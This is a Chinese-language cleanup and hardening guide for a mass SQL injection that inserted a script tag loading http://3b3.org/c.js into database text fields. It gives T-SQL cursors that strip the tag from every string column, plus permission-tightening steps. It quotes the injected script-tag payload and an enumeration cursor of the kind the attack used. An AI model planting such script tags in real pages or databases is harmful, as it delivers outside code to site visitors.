实战http://3b3.org/c.js恶意SQL注入

如何最快速度删除？
"<script src=http://3b3.org/c.js></script>"
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进入SQL查询分析器
选择你的数据库
第一步：先sql表修改所有者为dbo
EXEC sp_MSforeachtable 'exec sp_changeobjectowner ''?'',''dbo'' '

第二步：统一删除字段被挂的js
declare @delStr nvarchar(500)
set @delStr='<script src=http://3b3.org/c.js></script>'

set nocount on

declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)

set @iResult=0
declare cur cursor for
select name,id from sysobjects where xtype='U'

open cur
fetch next from cur into @tableName,@tbID

while @@fetch_status=0
begin
declare cur1 cursor for
        --xtype in (231,167,239,175,35) 为char,varchar,nchar,nvarchar,text类型
        select name from syscolumns where xtype in (231,167,239,175,35) and id=@tbID
open cur1
fetch next from cur1 into @columnName
while @@fetch_status=0
begin
      set @sql='update [' + @tableName + '] set ['+ @columnName +']= replace(['+@columnName+'],'''+@delStr+''','''') where ['+@columnName+'] like ''%'+@delStr+'%'''
      exec sp_executesql @sql     
      set @iRow=@@rowcount
      set @iResult=@iResult+@iRow
      if @iRow>0
      begin
print '表：'+@tableName+',列:'+@columnName+'被更新'+convert(varchar(10),@iRow)+'条记录;'
      end     
      fetch next from cur1 into @columnName

end
close cur1
deallocate cur1

fetch next from cur into @tableName,@tbID
end
print '数据库共有'+convert(varchar(10),@iResult)+'条记录被更新!!!'

close cur
deallocate cur
set nocount off
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彻底杜绝SQL注入

1.不要使用sa用户连接数据库
2、新建一个public权限数据库用户，并用这个用户访问数据库
3、[角色]去掉角色public对sysobjects与syscolumns对象的select访问权限
4、[用户]用户名称->右键－属性－权限－在sysobjects与syscolumns上面打“×”
5、通过以下代码检测（失败表示权限正确，如能显示出来则表明权限太高）：
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN print @c
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
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让3b3.org c.js注入见鬼去吧！